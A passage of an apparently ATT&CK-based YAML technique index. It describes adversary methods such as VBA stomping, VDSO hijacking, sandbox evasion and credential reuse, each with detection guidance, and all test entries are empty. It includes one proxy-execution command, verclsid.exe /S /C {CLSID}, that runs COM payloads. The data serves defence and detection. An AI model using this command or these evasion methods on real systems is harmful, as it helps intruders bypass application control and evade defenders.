      x_mitre_contributors:
      - Casey Smith
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_detection: |-
        Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

        Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1535:
    technique:
      id: attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761
      description: |-
        Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

        Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

        A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

        An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
      name: Unused/Unsupported Cloud Regions
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1535
        url: https://attack.mitre.org/techniques/T1535
      - description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
          Retrieved October 8, 2019.
        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
        source_name: CloudSploit - Unused AWS Regions
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-22T16:46:43.876Z'
      created: '2019-09-04T14:35:04.617Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      x_mitre_contributors:
      - Netskope
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Instance: Instance Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor system logs to review activities occurring across
        all cloud environments and regions. Configure alerting to notify of activity
        in normally unused regions or if the number of instances active in a region
        goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)'
    atomic_tests: []
  T1550:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550
        url: https://attack.mitre.org/techniques/T1550
      - source_name: NIST Authentication
        url: https://csrc.nist.gov/glossary/term/authentication
        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
      - source_name: NIST MFA
        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
          30, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Use Alternate Authentication Material
      description: "Adversaries may use alternate authentication material, such as
        password hashes, Kerberos tickets, and application access tokens, in order
        to move laterally within an environment and bypass normal system access controls.
        \n\nAuthentication processes generally require a valid identity (e.g., username)
        along with one or more authentication factors (e.g., password, pin, physical
        smart card, token generator, etc.). Alternate authentication material is legitimately
        generated by systems after a user or application successfully authenticates
        by providing a valid identity and the required authentication factor(s). Alternate
        authentication material may also be generated during the identity creation
        process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate
        authentication material allows the system to verify an identity has successfully
        authenticated without asking the user to reenter authentication factor(s).
        Because the alternate authentication must be maintained by the system—either
        in memory or on disk—it may be at risk of being stolen through [Credential
        Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate
        authentication material, adversaries are able to bypass system access controls
        and authenticate to systems without knowing the plaintext password or any
        additional authentication factors.\n"
      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T18:09:47.427Z'
      created: '2020-01-30T16:18:36.873Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: 'Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      - 'User Account: User Account Authentication'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_platforms:
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1497.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1497.002
        url: https://attack.mitre.org/techniques/T1497/002
      - source_name: Sans Virtual Jan 2016
        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
          Evasion Techniques. Retrieved April 17, 2019.
      - source_name: Unit 42 Sofacy Nov 2018
        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
      - source_name: FireEye FIN7 April 2017
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: User Activity Based Checks
      description: "Adversaries may employ various user activity checks to detect
        and avoid virtualization and analysis environments. This may include changing
        behaviors based on the results of checks for the presence of artifacts indicative
        of a virtual machine environment (VME) or sandbox. If the adversary detects
        a VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors. \n\nAdversaries may
        search for user activity on the host based on variables such as the speed/frequency
        of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser
        history, cache, bookmarks, or number of files in common directories such as
        home or the desktop. Other methods may rely on specific user interaction with
        the system before the malicious code is activated, such as waiting for a document
        to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or
        waiting for a user to double click on an embedded image to activate.(Citation:
        FireEye FIN7 April 2017) "
      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-07-01T16:32:02.491Z'
      created: '2020-03-06T21:04:12.454Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'User activity-based checks will likely occur in the first
        steps of an operation but may also occur throughout as an adversary learns
        the environment. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as lateral
        movement, based on the information obtained. Detecting actions related to
        virtualization and sandbox identification may be difficult depending on the
        adversary''s implementation and monitoring required. Monitoring for suspicious
        processes being spawned that gather a variety of system information or perform
        other forms of Discovery, especially in a short period of time, may aid in
        detection. '
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1564.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.007
        url: https://attack.mitre.org/techniques/T1564/007
      - source_name: FireEye VBA stomp Feb 2020
        url: https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
        description: 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February
          5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September
          17, 2020.'
      - source_name: Evil Clippy May 2019
        url: https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
        description: 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant.
          Retrieved September 17, 2020.'
      - source_name: Microsoft _VBA_PROJECT Stream
        url: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239
        description: 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream:
          Version Dependent Project Information. Retrieved September 18, 2020.'
      - source_name: Walmart Roberts Oct 2018
        url: https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
        description: Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping
          — Advanced Maldoc Techniques. Retrieved September 17, 2020.
      - source_name: pcodedmp Bontchev
        url: https://github.com/bontchev/pcodedmp
        description: Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler.
          Retrieved September 17, 2020.
      - source_name: oletools toolkit
        url: https://github.com/decalage2/oletools
        description: decalage2. (2019, December 3). python-oletools. Retrieved September
          18, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: VBA Stomping
      description: |-
        Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

        MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

        An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)
      id: attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-23T11:31:50.407Z'
      created: '2020-09-17T12:51:40.845Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - MS Office version specified in <code>_VBA_PROJECT</code> stream must match
        host
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)

        If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'File: File Content'
      x_mitre_contributors:
      - Rick Cole, FireEye
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
    atomic_tests: []
  T1055.014:
    technique:
      id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
      description: "Adversaries may inject malicious code into processes via VDSO
        hijacking in order to evade process-based defenses as well as possibly elevate
        privileges. Virtual dynamic shared object (vdso) hijacking is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nVDSO hijacking involves redirecting calls to dynamically linked shared
        libraries. Memory protections may prevent writing executable code to a process
        via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).
        However, an adversary may hijack the syscall interface code stubs mapped into
        a process from the vdso shared object to execute syscalls to open and map
        a malicious shared object. This code can then be invoked by redirecting the
        execution flow of the process via patched memory address references stored
        in a process' global offset table (which store absolute addresses of mapped
        library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace
        VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in
        the context of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via VDSO hijacking
        may also evade detection from security products since the execution is masked
        under a legitimate process.  "
      name: VDSO Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.014
        url: https://attack.mitre.org/techniques/T1055/014
      - source_name: ELF Injection May 2009
        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
          GOT poisoning. Retrieved March 15, 2020.
      - source_name: Backtrace VDSO
        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
          Retrieved June 15, 2020.
      - source_name: VDSO Aug 2005
        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
          June 16, 2020.
      - source_name: Syscall 2014
        url: https://lwn.net/Articles/604515/
        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
          2. Retrieved June 16, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:28:45.232Z'
      created: '2020-01-14T01:35:00.781Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
        and mmap, that can be used to attach to, manipulate memory, then redirect
        a processes' execution path. Monitoring for Linux specific calls such as the
        ptrace system call should not generate large amounts of data due to their
        specialized nature, and can be a very effective method to detect some of the
        common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation:
        GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Linux
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1078:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078
        url: https://attack.mitre.org/techniques/T1078
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
      name: Valid Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-12T18:27:52.298Z'
      created: '2017-05-31T21:31:00.645Z'
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_defense_bypassed:
      - Firewall
      - Host intrusion prevention systems
      - Network intrusion detection system
      - Application control
      - System access controls
      - Anti-virus
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1218.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1218.012
        url: https://attack.mitre.org/techniques/T1218/012
      - source_name: WinOSBite verclsid.exe
        url: https://www.winosbite.com/verclsid-exe/ 
        description: verclsid-exe. (2019, December 17). verclsid.exe File Information
          - What is it & How to Block . Retrieved August 10, 2020.
      - source_name: LOLBAS Verclsid
        url: https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
        description: LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.
      - source_name: Red Canary Verclsid.exe
        url: https://redcanary.com/blog/verclsid-exe-threat-detection/
        description: 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy
          a New Methodology: Verclsid.exe. Retrieved August 10, 2020.'
      - source_name: BOHOPS Abusing the COM Registry
        url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
        description: 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure
          (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.'
      - source_name: Nick Tyrer GitHub
        url: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
        description: Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Verclsid
      description: "Adversaries may abuse verclsid.exe to proxy execution of malicious
        code. Verclsid.exe is known as the Extension CLSID Verification Host and is
        responsible for verifying each shell extension before they are used by Windows
        Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries
        may abuse verclsid.exe to execute malicious payloads. This may be achieved
        by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced
        by a Class ID (CLSID), a unique identification number used to identify COM
        objects. COM payloads executed by verclsid.exe may be able to perform various
        malicious actions, such as loading and executing COM scriptlets (SCT) from
        remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).
        Since it is signed and native on Windows systems, proxying execution via verclsid.exe
        may bypass application control solutions that do not account for its potential
        abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation:
        BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) "
      id: attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-08-19T19:29:18.138Z'
      created: '2020-08-10T13:59:38.443Z'
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of verclsid.exe. Compare recent invocations of verclsid.exe with prior history
        of known good arguments and loaded files to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the invocation
        of verclsid.exe may also be useful in determining the origin and purpose of
        the payload being executed. Depending on the environment, it may be unusual
        for verclsid.exe to have a parent process of a Microsoft Office product. It
        may also be unusual for verclsid.exe to have any child processes or to make
        network connections or file modifications.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Rodrigo Garcia, Red Canary
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1497:
    technique:
      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
      description: "Adversaries may employ various means to detect and avoid virtualization
        and analysis environments. This may include changing behaviors based on the
        results of checks for the presence of artifacts indicative of a virtual machine
        environment (VME) or sandbox. If the adversary detects a VME, they may alter
        their malware to disengage from the victim or conceal the core functions of
        the implant. They may also search for VME artifacts before dropping secondary
        or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox
        Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery
        to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish
        [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        such as checking for security monitoring tools (e.g., Sysinternals, Wireshark,
        etc.) or other system artifacts associated with analysis or virtualization.
        Adversaries may also check for legitimate user activity to help determine
        if it is in an analysis environment. Additional methods include use of sleep
        timers or loops within malware code to avoid operating within a temporary
        sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n"
      name: Virtualization/Sandbox Evasion
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497
        url: https://attack.mitre.org/techniques/T1497
      - source_name: Unit 42 Pirpi July 2015
        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
          23, 2019.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-21T15:16:10.835Z'
      created: '2019-04-17T22:22:24.505Z'
      x_mitre_is_subtechnique: false
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Sunny Neo
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
        techniques will likely occur in the first steps of an operation but may also
        occur throughout as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as lateral movement, based on the information
        obtained. Detecting actions related to virtualization and sandbox identification
        may be difficult depending on the adversary's implementation and monitoring
        required. Monitoring for suspicious processes being spawned that gather a
        variety of system information or perform other forms of Discovery, especially
        in a short period of time, may aid in detection.
      x_mitre_version: '1.2'
    atomic_tests: []
  T1600:
    technique:
      id: attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8
      description: |-
        Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

        Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

        Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)
      name: Weaken Encryption
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1600
        url: https://attack.mitre.org/techniques/T1600
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-21T22:37:49.258Z'
      created: '2020-10-19T18:47:08.759Z'
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that weaken encryption. Detection efforts may be focused on closely
        related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
        Some detection methods require vendor support to aid in investigation.
      x_mitre_defense_bypassed:
      - Encryption
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
    atomic_tests: []
  T1550.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.004
        url: https://attack.mitre.org/techniques/T1550/004
      - external_id: CAPEC-60
        source_name: capec
        url: https://capec.mitre.org/data/definitions/60.html
      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
        source_name: Pass The Cookie
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Session Cookie
